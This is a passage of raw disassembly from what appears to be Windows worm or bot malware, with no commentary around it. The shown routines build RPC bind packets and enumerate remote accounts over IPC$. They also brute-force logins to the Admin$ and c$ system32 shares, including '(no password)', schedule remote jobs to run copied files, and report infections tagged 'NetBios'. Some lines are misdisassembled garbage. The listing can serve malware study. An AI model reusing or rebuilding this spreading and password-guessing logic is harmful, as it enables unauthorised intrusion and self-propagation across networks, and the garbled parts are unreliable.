esi call sub_40D79F jmp short loc_40D789 ; --------------------------------------------------------------------------- loc_40D784: ; CODE XREF: sub_40D6F3+78j cmp [esi+0Ch], edi jnb short loc_40D791 loc_40D789: ; CODE XREF: sub_40D6F3+3Dj ; sub_40D6F3+8Fj push edi mov ecx, esi call sub_40D8BF loc_40D791: ; CODE XREF: sub_40D6F3+84j ; sub_40D6F3+94j mov al, 1 loc_40D793: ; CODE XREF: sub_40D6F3+55j pop edi pop esi pop ebx retn 8 sub_40D6F3 endp ; =============== S U B R O U T I N E ======================================= sub_40D799 proc near ; CODE XREF: sub_40D521+7p mov eax, offset dword_439474 retn sub_40D799 endp ; =============== S U B R O U T I N E ======================================= sub_40D79F proc near ; CODE XREF: sub_40D41D+Dp ; sub_40D435+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40D7EB mov eax, [esi+4] cmp eax, ebx jz short loc_40D7EB push eax call sub_40D984 cmp [eax], bl jz short loc_40D7D9 push dword ptr [esi+4] mov ecx, esi call sub_40D984 cmp byte ptr [eax], 0FFh jz short loc_40D7D9 push dword ptr [esi+4] mov ecx, esi call sub_40D984 dec byte ptr [eax] jmp short loc_40D7EB ; --------------------------------------------------------------------------- loc_40D7D9: ; CODE XREF: sub_40D79F+1Bj ; sub_40D79F+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call sub_40D98C loc_40D7EB: ; CODE XREF: sub_40D79F+Aj ; sub_40D79F+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40D79F endp ; =============== S U B R O U T I N E ======================================= sub_40D7F9 proc near ; CODE XREF: sub_40D6A6+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 push [esp+8+arg_4] mov esi, ecx call sub_40D6F3 test al, al jz short loc_40D829 push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [esi+4] call sub_40D59B add esp, 0Ch mov ecx, esi push [esp+4+arg_4] call sub_40D6C3 loc_40D829: ; CODE XREF: sub_40D7F9+10j mov eax, esi pop esi retn 8 sub_40D7F9 endp ; =============== S U B R O U T I N E ======================================= sub_40D82F proc near ; CODE XREF: sub_40D5B0+41p ; sub_40D5B0+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D842 call sub_437660 loc_40D842: ; CODE XREF: sub_40D82F+Cj mov ecx, edi call sub_40D999 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D858 mov ebx, eax loc_40D858: ; CODE XREF: sub_40D82F+25j test ebx, ebx jbe short loc_40D88C mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40D894 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D6F3 test al, al jz short loc_40D88C push esi mov ecx, edi call sub_40D6C3 loc_40D88C: ; CODE XREF: sub_40D82F+2Bj ; sub_40D82F+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D82F endp ; =============== S U B R O U T I N E ======================================= sub_40D894 proc near ; CODE XREF: sub_40D82F+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] call sub_41F9A0 add esp, 0Ch retn sub_40D894 endp ; =============== S U B R O U T I N E ======================================= sub_40D8A9 proc near ; CODE XREF: sub_40D6F3+5p ; sub_40D8BF+1Ep call sub_40D9E5 cmp eax, 2 ja short loc_40D8B7 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_40D8B7: ; CODE XREF: sub_40D8A9+8j add eax, 0FFFFFFFEh retn sub_40D8A9 endp ; =============== S U B R O U T I N E ======================================= sub_40D8BB proc near ; CODE XREF: sub_40D5B0+A6p mov eax, [ecx+0Ch] retn sub_40D8BB endp ; =============== S U B R O U T I N E ======================================= sub_40D8BF proc near ; CODE XREF: sub_40D6F3+99p mov eax, offset loc_437FF4 call sub_41F980 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi or edi, 1Fh call sub_40D8A9 cmp eax, edi jnb short loc_40D8E9 mov edi, [ebp+8] loc_40D8E9: ; CODE XREF: sub_40D8BF+25j and dword ptr [ebp-4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40D9D5 mov [ebp+8], eax jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D8FF: ; DATA XREF: seg001:0043B25Co mov eax, [ebp+8] mov ecx, [ebp-14h] mov [ebp-18h], eax add eax, 2 push 0 push eax call sub_40D9D5 mov [ebp+8], eax mov eax, offset loc_40D91C retn ; --------------------------------------------------------------------------- loc_40D91C: ; DATA XREF: sub_40D8BF+57o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D922: ; CODE XREF: sub_40D8BF+3Ej mov eax, [esi+8] or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax jbe short loc_40D944 cmp eax, edi jbe short loc_40D933 mov eax, edi loc_40D933: ; CODE XREF: sub_40D8BF+70j push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40D59B add esp, 0Ch loc_40D944: ; CODE XREF: sub_40D8BF+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D79F mov eax, [ebp+8] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40D984 and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D96B mov edi, ebx loc_40D96B: ; CODE XREF: sub_40D8BF+A8j push edi mov ecx, esi call sub_40D6C3 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D8BF endp ; =============== S U B R O U T I N E ======================================= sub_40D984 proc near ; CODE XREF: sub_40D5B0+70p ; sub_40D5B0+B3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40D984 endp ; =============== S U B R O U T I N E ======================================= sub_40D98C proc near ; CODE XREF: sub_40D79F+47p arg_0 = dword ptr 4 push [esp+arg_0] call sub_41FCE0 pop ecx retn 8 sub_40D98C endp ; =============== S U B R O U T I N E ======================================= sub_40D999 proc near ; CODE XREF: sub_40D82F+15p push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40D9D3 push eax call sub_40D984 cmp byte ptr [eax], 0 jz short loc_40D9D3 push dword ptr [esi+4] mov ecx, esi call sub_40D984 cmp byte ptr [eax], 0FFh jz short loc_40D9D3 push edi mov edi, [esi+4] push 1 mov ecx, esi call sub_40D79F push edi mov ecx, esi call sub_40D6A6 pop edi loc_40D9D3: ; CODE XREF: sub_40D999+8j ; sub_40D999+13j ... pop esi retn sub_40D999 endp ; =============== S U B R O U T I N E ======================================= sub_40D9D5 proc near ; CODE XREF: sub_40D8BF+36p ; sub_40D8BF+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40D9EC pop ecx pop ecx retn 8 sub_40D9D5 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E5 proc near ; CODE XREF: sub_40D8A9p or eax, 0FFFFFFFFh retn sub_40D9E5 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E9 proc near ; CODE XREF: sub_40D5B0+7Cp mov al, 1 retn sub_40D9E9 endp ; =============== S U B R O U T I N E ======================================= sub_40D9EC proc near ; CODE XREF: sub_40D9D5+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40D9F6 xor eax, eax loc_40D9F6: ; CODE XREF: sub_40D9EC+6j push eax call sub_41FD90 pop ecx retn sub_40D9EC endp ; =============== S U B R O U T I N E ======================================= sub_40D9FE proc near ; CODE XREF: seg000:loc_40D407p ; sub_4377A0+3p test ds:byte_4EED04, 1 jnz short locret_40DA0E or ds:byte_4EED04, 1 locret_40DA0E: ; CODE XREF: sub_40D9FE+7j retn sub_40D9FE endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA10 proc near ; CODE XREF: seg000:0040DDDDp var_24 = byte ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push esi push edi xor edi, edi push 20h lea eax, [ebp+var_24] push edi push eax mov [ebp+var_4], edi call sub_41D100 mov esi, offset dword_4E2488 push offset dword_446BBC push esi call sub_41E550 push [ebp+arg_0] push esi call sub_41E560 push offset dword_446BC0 push esi call sub_41E560 push offset dword_446BC4 push esi call sub_41E560 add esp, 2Ch lea eax, [ebp+var_24] mov [ebp+var_10], esi mov [ebp+var_20], 1 push edi push edi push edi push eax mov [ebp+var_14], edi mov [ebp+var_8], edi call ds:dword_451598 push ds:dword_44FD20 push [ebp+arg_0] push ds:dword_4E2588 call sub_41FEE0 add esp, 0Ch lea eax, [ebp+var_4] push eax push 66h push ds:dword_4E2588 call ds:dword_45142C test eax, eax mov esi, offset dword_4E258C jnz short loc_40DABF mov eax, [ebp+var_4] push edi push edi push 64h push esi push 0FFFFFFFFh push dword ptr [eax+4] push edi push edi call ds:dword_4F1384 ; WideCharToMultiByte loc_40DABF: ; CODE XREF: sub_40DA10+98j cmp [ebp+var_4], edi jz short loc_40DACD push [ebp+var_4] call ds:dword_451580 loc_40DACD: ; CODE XREF: sub_40DA10+B2j mov eax, esi pop edi pop esi leave retn sub_40DA10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAD3 proc near ; CODE XREF: sub_40DB71+3Fp ; sub_40DB71:loc_40DBC8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi push esi xor edi, edi call sub_41AC70 test eax, eax pop ecx mov [ebp+arg_0], eax jbe short loc_40DB40 or eax, 0FFFFFFFFh push ebx lea edx, [esi+1] sub eax, esi loc_40DAF4: ; CODE XREF: sub_40DAD3+6Aj mov cl, [edx-1] cmp cl, 30h jl short loc_40DB09 cmp cl, 39h jg short loc_40DB09 movsx ecx, cl sub ecx, 30h jmp short loc_40DB0F ; --------------------------------------------------------------------------- loc_40DB09: ; CODE XREF: sub_40DAD3+27j ; sub_40DAD3+2Cj movsx ecx, cl sub ecx, 57h loc_40DB0F: ; CODE XREF: sub_40DAD3+34j mov bl, [edx] shl ecx, 4 cmp bl, 30h jl short loc_40DB27 cmp bl, 39h jg short loc_40DB27 movsx esi, bl lea ecx, [ecx+esi-30h] jmp short loc_40DB2E ; --------------------------------------------------------------------------- loc_40DB27: ; CODE XREF: sub_40DAD3+44j ; sub_40DAD3+49j movsx esi, bl lea ecx, [ecx+esi-57h] loc_40DB2E: ; CODE XREF: sub_40DAD3+52j mov esi, [ebp+arg_4] mov [edi+esi], cl inc edi inc edx inc edx lea ecx, [eax+edx] cmp ecx, [ebp+arg_0] jb short loc_40DAF4 pop ebx loc_40DB40: ; CODE XREF: sub_40DAD3+16j mov eax, edi pop edi pop esi pop ebp retn sub_40DAD3 endp ; =============== S U B R O U T I N E ======================================= sub_40DB46 proc near ; CODE XREF: sub_40DB71+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov edx, eax xor esi, esi shr edx, 1 jz short loc_40DB6F push ebx push edi mov edi, [esp+0Ch+arg_0] lea eax, [edi+eax-1] loc_40DB5D: ; CODE XREF: sub_40DB46+25j mov bl, [esi+edi] mov cl, [eax] mov [eax], bl mov [esi+edi], cl inc esi dec eax cmp esi, edx jb short loc_40DB5D pop edi pop ebx loc_40DB6F: ; CODE XREF: sub_40DB46+Bj pop esi retn sub_40DB46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB71 proc near ; CODE XREF: sub_40DBFE+69p ; sub_40DBFE+89p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, [ebp+arg_0] push esi push edi xor esi, esi push ebx mov [ebp+var_4], esi mov [ebp+var_8], esi mov edi, ebx call sub_41AC70 mov [ebp+arg_0], esi cmp eax, esi mov esi, [ebp+arg_4] pop ecx mov [ebp+var_C], eax jbe short loc_40DBE9 loc_40DB9B: ; CODE XREF: sub_40DB71+76j mov eax, [ebp+arg_0] add eax, ebx cmp byte ptr [eax], 2Dh jnz short loc_40DBDE and byte ptr [eax], 0 cmp [ebp+var_8], 3 push esi push edi jnb short loc_40DBC8 call sub_40DAD3 mov edi, eax push edi push esi call sub_40DB46 add esp, 10h add esi, edi add [ebp+var_4], edi jmp short loc_40DBD4 ; --------------------------------------------------------------------------- loc_40DBC8: ; CODE XREF: sub_40DB71+3Dj call sub_40DAD3 pop ecx add esi, eax add [ebp+var_4], eax pop ecx loc_40DBD4: ; CODE XREF: sub_40DB71+55j mov eax, [ebp+arg_0] inc [ebp+var_8] lea edi, [eax+ebx+1] loc_40DBDE: ; CODE XREF: sub_40DB71+32j inc [ebp+arg_0] mov eax, [ebp+var_C] cmp [ebp+arg_0], eax jb short loc_40DB9B loc_40DBE9: ; CODE XREF: sub_40DB71+28j and byte ptr [eax+esi], 0 push esi push edi call sub_40DAD3 add eax, [ebp+var_4] pop ecx pop ecx pop edi pop esi pop ebx leave retn sub_40DB71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBFE proc near ; CODE XREF: seg000:0040DD98p var_2C = byte ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 9 pop ecx mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860" lea edi, [ebp+var_2C] push 1 rep movsd push 800h movsb call sub_41B250 pop ecx mov esi, eax pop ecx push 1 push [ebp+arg_4] call sub_41AC70 shr eax, 1 inc eax pop ecx inc eax push eax call sub_41B250 mov edi, esi push 1 mov [ebp+var_4], eax add esi, 10h xor ebx, ebx pop eax mov word ptr [esi], 16D0h mov word ptr [esi+2], 16D0h mov [esi+4], ebx mov [esi+8], eax mov [esi+0Ch], bx mov [esi+0Eh], ax add esi, 10h push esi push [ebp+arg_4] call sub_40DB71 add esi, eax lea eax, [ebp+arg_8] push 2 push eax push esi call sub_41E840 inc esi lea eax, [ebp+var_2C] inc esi mov [esi], bl inc esi mov [esi], bl inc esi push esi push eax call sub_40DB71 add esi, eax mov ecx, [ebp+arg_C] push [ebp+var_4] mov byte ptr [esi], 2 inc esi mov [esi], bl sub esi, edi inc esi mov byte ptr [edi], 5 mov [edi+1], bl mov byte ptr [edi+2], 0Bh lea eax, [esi+2] mov byte ptr [edi+3], 3 mov [edi+8], ax mov eax, [ebp+arg_0] mov [edi+0Ch], eax mov dword ptr [edi+4], 10h movzx eax, si inc eax mov [edi+0Ah], bx inc eax mov [ecx], eax call sub_41B8B0 add esp, 28h mov eax, edi pop edi pop esi pop ebx leave retn sub_40DBFE endp ; =============== S U B R O U T I N E ======================================= sub_40DCD9 proc near ; CODE XREF: seg000:0040DE1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push esi call sub_41AC70 pop ecx mov ecx, [esp+4+arg_0] lea ecx, [ecx+eax*2-1] loc_40DCED: ; CODE XREF: sub_40DCD9+25j mov edx, eax dec eax test edx, edx jz short loc_40DD00 and byte ptr [ecx], 0 mov dl, [eax+esi] dec ecx mov [ecx], dl dec ecx jmp short loc_40DCED ; --------------------------------------------------------------------------- loc_40DD00: ; CODE XREF: sub_40DCD9+19j pop esi retn sub_40DCD9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1048h call sub_41DEB0 push ebx xor ebx, ebx cmp ds:dword_45142C, ebx push esi push edi jz loc_40DDD2 push 9 mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525" pop ecx lea edi, [ebp-48h] rep movsd movsb push 1 pop edi push ebx push edi push 2 mov [ebp-4], edi call ds:dword_451570 mov esi, eax cmp esi, ebx mov [ebp-0Ch], esi jl loc_40DDD2 push dword ptr [ebp+0A8h] mov word ptr [ebp-20h], 2 call ds:dword_4514F4 mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call ds:dword_451530 mov [ebp-1Ch], eax push 8 lea eax, [ebp-18h] push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-20h] push 10h push eax push esi call ds:dword_45149C test eax, eax jl short loc_40DDD2 lea eax, [ebp-10h] push eax lea eax, [ebp-48h] push edi push eax push ebx call sub_40DBFE add esp, 10h mov edi, eax push ebx push dword ptr [ebp-10h] push edi push esi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40DDCB push ebx lea eax, [ebp-1048h] push 1000h push eax push esi call ds:dword_4F14E0 ; recv test eax, eax jg short loc_40DDD9 loc_40DDCB: ; CODE XREF: seg000:0040DDB1j push edi call sub_41B8B0 pop ecx loc_40DDD2: ; CODE XREF: seg000:0040DD1Aj ; seg000:0040DD45j ... xor eax, eax loc_40DDD4: ; CODE XREF: seg000:0040DF6Cj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40DDD9: ; CODE XREF: seg000:0040DDC9j lea eax, [ebp+0Ch] push eax call sub_40DA10 push eax mov [ebp-8], eax call sub_41AC70 pop ecx test eax, eax pop ecx jz short loc_40DDD2 mov edi, 104Ch push edi call sub_41AE40 mov esi, eax push edi push 90h push esi call sub_41D100 push 42h push offset dword_446990 push esi call sub_41E840 push dword ptr [ebp-8] lea ebx, [esi+42h] push ebx call sub_40DCD9 push dword ptr [ebp-8] call sub_41AC70 lea ebx, [ebx+eax*2] push 14h push offset off_4469D4 push ebx call sub_41E840 mov ebx, offset dword_4469EC push 18h lea eax, [esi+418h] push ebx push eax call sub_41E840 add esp, 40h lea eax, [esi+830h] push 18h push ebx push eax call sub_41E840 push 18h lea eax, [esi+0C48h] push offset dword_446A08 push eax call sub_41E840 lea ebx, [esi+1B6h] push 3Ah push offset loc_446A24 push ebx call sub_41E840 push 0FFFFh push 539h call sub_41801E add esp, 2Ch mov [ebp-8], eax xor eax, 437h push eax call ds:dword_4514F4 push 158h add ebx, 3Ah push offset dword_446A60 push ebx mov ds:word_446B1A, ax call sub_41E840 and byte ptr [esi+104Ah], 0 and byte ptr [esi+104Bh], 0 push 1 lea eax, [ebp+0Ch] pop ebx push ebx push eax call sub_417569 add esp, 14h cmp eax, 2 jnz short loc_40DEEB mov dword ptr [ebp-4], 8 loc_40DEEB: ; CODE XREF: seg000:0040DEE2j cmp eax, 3 jnz short loc_40DEF3 mov [ebp-4], ebx loc_40DEF3: ; CODE XREF: seg000:0040DEEEj ; seg000:0040DF0Dj mov eax, [ebp-4] dec dword ptr [ebp-4] test eax, eax jz short loc_40DF14 push 0 push edi push esi push dword ptr [ebp-0Ch] call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_40DEF3 jmp loc_40DDD2 ; --------------------------------------------------------------------------- loc_40DF14: ; CODE XREF: seg000:0040DEFBj push dword ptr [ebp-0Ch] call ds:dword_451588 push 1F4h call ds:dword_4F12F4 ; Sleep push esi call sub_41B8B0 pop ecx lea esi, [ebp+8] push dword ptr [ebp-8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz loc_40DDD2 mov eax, [ebp+0B0h] shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] mov eax, ebx jmp loc_40DDD4 ; --------------------------------------------------------------------------- loc_40DF71: ; CODE XREF: sub_40E201+37p push ebp mov ebp, esp sub esp, 6F0h push ebx push esi push edi xor edi, edi push 20h lea eax, [ebp-54h] push edi push eax call sub_41D100 add esp, 0Ch mov esi, [ebp+10h] lea eax, [ebp-54h] mov [ebp-40h], esi push edi mov dword ptr [ebp-50h], 1 push dword ptr [ebp+8] mov [ebp-44h], edi mov [ebp-38h], edi push dword ptr [ebp+0Ch] push eax call ds:dword_451598 test eax, eax jz short loc_40DFC3 push 0Ah call ds:dword_4F12F4 ; Sleep jmp loc_40E1ED ; --------------------------------------------------------------------------- loc_40DFC3: ; CODE XREF: seg000:0040DFB4j lea eax, [ebp-2E8h] push 190h push eax push 0FFFFFFFFh push esi push edi push edi mov dword ptr [ebp-20h], offset aAdminSystem32 ; "Admin$\\system32" mov dword ptr [ebp-1Ch], offset aCWinntSystem32 ; "c$\\winnt\\system32" mov dword ptr [ebp-18h], offset aCWindowsSystem ; CODE XREF: seg000:0040E05Bj ; "c$\\windows\\system32" mov dword ptr [ebp-14h], offset aC_0 ; "c" mov dword ptr [ebp-10h], offset aD ; "d" mov [ebp-8], edi call ds:dword_4F1370 ; MultiByteToWideChar lea eax, [ebp-8] push eax lea eax, [ebp-2E8h] push eax call ds:dword_451424 test eax, eax jnz loc_40E1EA cmp [ebp-8], edi jz loc_40E1EA lea eax, [ebp-20h] mov [ebp-4], edi mov [ebp-0Ch], eax mov esi, offset byte_43CCBC loc_40E030: ; CODE XREF: seg000:0040E0C9j mov eax, [ebp-0Ch] push esi push dword ptr [eax] lea eax, [ebp-158h] push dword ptr [ebp+10h] push offset aSSS_1 ; "%s\\%s\\%s" push eax call sub_41D260 add esp, 14h lea eax, [ebp-158h] push edi push eax push esi call near ptr 3D0000h jg short near ptr loc_40DFE2+6 fdivr dword ptr [ebx] fbstp tbyte ptr [ebp+7Fh] call ds:dword_4F1310 ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_40E0BE lea eax, [ebp-158h] push edi push eax call sub_420150 pop ecx test eax, eax pop ecx jnz short loc_40E0BE call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx lea eax, [ebp-158h] push eax mov ebx, edx add bl, 30h call sub_41AC70 pop ecx lea ecx, [ebp-158h] push edi sub ecx, 5 mov [eax+ecx], bl lea eax, [ebp-158h] push eax push esi call near ptr 3D0000h cwde mov ebx, eax cmp ebx, edi jnz short loc_40E0E1 loc_40E0BE: ; CODE XREF: seg000:0040E06Bj ; seg000:0040E07Ej inc dword ptr [ebp-4] add dword ptr [ebp-0Ch], 4 cmp dword ptr [ebp-4], 5 jb loc_40E030 cmp ebx, edi jnz short loc_40E0E1 push dword ptr [ebp-8] call ds:dword_451580 jmp loc_40E1ED ; --------------------------------------------------------------------------- loc_40E0E1: ; CODE XREF: seg000:0040E0BCj ; seg000:0040E0D1j mov ecx, [ebp-8] push 3Ch xor edx, edx pop ebx mov eax, [ecx] push 10h div ebx xor edx, edx push edi sub eax, [ecx+18h] mov ecx, 5A0h inc eax inc eax div ecx lea eax, [ebp-34h] push eax mov ebx, edx call sub_41D100 imul ebx, 0EA60h add esp, 0Ch lea eax, [ebp-6F0h] mov [ebp-34h], ebx push 208h push eax push 0FFFFFFFFh push esi push edi push edi call ds:dword_4F1370 ; MultiByteToWideChar lea eax, [ebp-6F0h] mov [ebp-28h], eax lea eax, [ebp-24h] push eax lea eax, [ebp-34h] push eax lea eax, [ebp-2E8h] push eax call ds:dword_45146C test eax, eax jnz loc_40E1EA push offset dword_4E25F4 push dword ptr [ebp+0Ch] call sub_41D900 pop ecx test eax, eax pop ecx mov eax, offset aNoPassword ; "(no password)" jz short loc_40E16D mov eax, [ebp+0Ch] loc_40E16D: ; CODE XREF: seg000:0040E168j push eax mov eax, [ebp-4] push dword ptr [ebp+8] push dword ptr [ebp+eax*4-20h] mov eax, [ebp+0BCh] shl eax, 6 push dword ptr [ebp+10h] add eax, offset aNetbios ; "NetBios" push eax push offset unk_446C78 lea eax, [ebp-4E8h] push 200h push eax call sub_41D360 add esp, 20h cmp [ebp+0C8h], edi jnz short loc_40E1C8 push edi lea eax, [ebp-4E8h] push dword ptr [ebp+0C4h] push eax lea eax, [ebp+28h] push eax push dword ptr [ebp+14h] call sub_40145D add esp, 14h loc_40E1C8: ; CODE XREF: seg000:0040E1A9j lea eax, [ebp-4E8h] push eax call sub_4161A7 mov eax, [ebp+0BCh] pop ecx shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] loc_40E1EA: ; CODE XREF: seg000:0040E013j ; seg000:0040E01Cj ... push 1 pop edi loc_40E1ED: ; CODE XREF: seg000:0040DFBEj ; seg000:0040E0DCj push 1 push 1 push dword ptr [ebp+10h] call ds:dword_451558 mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40E201 proc near ; CODE XREF: sub_40E268+137p ; sub_40E268+1B1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch cmp ds:off_43CE30, 0 push ebx push esi push edi jz short loc_40E25D mov eax, offset off_43CE30 mov ebx, eax loc_40E214: ; CODE XREF: sub_40E201+5Aj sub esp, 0BCh lea esi, [esp+0C8h+arg_8] push 2Fh pop ecx mov edi, esp push [esp+0C8h+arg_4] rep movsd push dword ptr [eax] push [esp+0D0h+arg_0] call loc_40DF71 add esp, 0C8h cmp eax, 1 jz short loc_40E263 push 0C8h call ds:dword_4F12F4 ; Sleep add ebx, 4 mov eax, ebx cmp dword ptr [ebx], 0 jnz short loc_40E214 loc_40E25D: ; CODE XREF: sub_40E201+Aj xor eax, eax loc_40E25F: ; CODE XREF: sub_40E201+65j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40E263: ; CODE XREF: sub_40E201+45j push 1 pop eax jmp short loc_40E25F sub_40E201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E268 proc near ; CODE XREF: sub_409F32+1E6p ; DATA XREF: seg002:off_4439F4o var_630 = byte ptr -630h var_248 = byte ptr -248h var_11C = byte ptr -11Ch var_54 = byte ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = byte ptr -34h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 630h push ebx push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_34] xor ebx, ebx push offset aS_31 ; "\\\\%s" push eax mov [ebp+var_4], ebx mov [ebp+var_14], ebx mov [ebp+var_20], ebx mov [ebp+var_1C], ebx mov [ebp+var_8], ebx call sub_41D260 add esp, 0Ch lea eax, [ebp+var_630] push 3E8h push eax lea eax, [ebp+var_34] push 0FFFFFFFFh push eax push ebx push ebx call ds:dword_4F1370 ; MultiByteToWideChar lea eax, [ebp+var_34] mov [ebp+var_44], ebx push eax lea eax, [ebp+var_11C] push offset aSIpc ; "%s\\ipc$" push eax mov [ebp+var_38], ebx mov [ebp+var_50], ebx call sub_41D260 add esp, 0Ch lea eax, [ebp+var_11C] mov [ebp+var_40], eax lea eax, [ebp+var_54] push ebx push offset dword_4E25F8 push offset dword_4E25FC push eax call ds:dword_451598 test eax, eax jz short loc_40E30E push 1 lea eax, [ebp+var_11C] push ebx push eax call ds:dword_451558 xor eax, eax jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E30E: ; CODE XREF: sub_40E268+8Dj ; sub_40E268+171j lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 lea eax, [ebp+var_630] push ebx push eax call ds:dword_451454 mov [ebp+var_C], eax push 1 lea eax, [ebp+var_11C] push ebx push eax call ds:dword_451558 cmp [ebp+var_C], ebx jz short loc_40E351 cmp [ebp+var_C], 0EAh jnz short loc_40E3C1 loc_40E351: ; CODE XREF: sub_40E268+DEj mov eax, [ebp+var_4] cmp eax, ebx mov [ebp+var_10], eax jz short loc_40E3D2 cmp [ebp+var_14], ebx mov [ebp+var_18], ebx jbe short loc_40E3C1 loc_40E363: ; CODE XREF: sub_40E268+157j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_40E3C1 push ebx push ebx lea ecx, [ebp+var_248] push 12Ch push ecx push 0FFFFFFFFh push dword ptr [eax] push ebx push ebx call ds:dword_4F1384 ; WideCharToMultiByte sub esp, 0BCh lea eax, [ebp+var_34] lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp push eax lea eax, [ebp+var_248] rep movsd push eax call sub_40E201 add esp, 0C4h cmp eax, 1 jz short loc_40E3C1 add [ebp+var_10], 4 inc [ebp+var_8] inc [ebp+var_18] mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jb short loc_40E363 loc_40E3C1: ; CODE XREF: sub_40E268+E7j ; sub_40E268+F9j ... cmp [ebp+var_4], ebx jz short loc_40E3D2 push [ebp+var_4] call ds:dword_451580 mov [ebp+var_4], ebx loc_40E3D2: ; CODE XREF: sub_40E268+F1j ; sub_40E268+15Cj cmp [ebp+var_C], 0EAh jz loc_40E30E cmp [ebp+var_4], ebx jz short loc_40E3ED push [ebp+var_4] call ds:dword_451580 loc_40E3ED: ; CODE XREF: sub_40E268+17Aj cmp [ebp+var_C], 5 jnz short loc_40E436 cmp ds:off_43CDE0, ebx jz short loc_40E436 mov eax, offset off_43CDE0 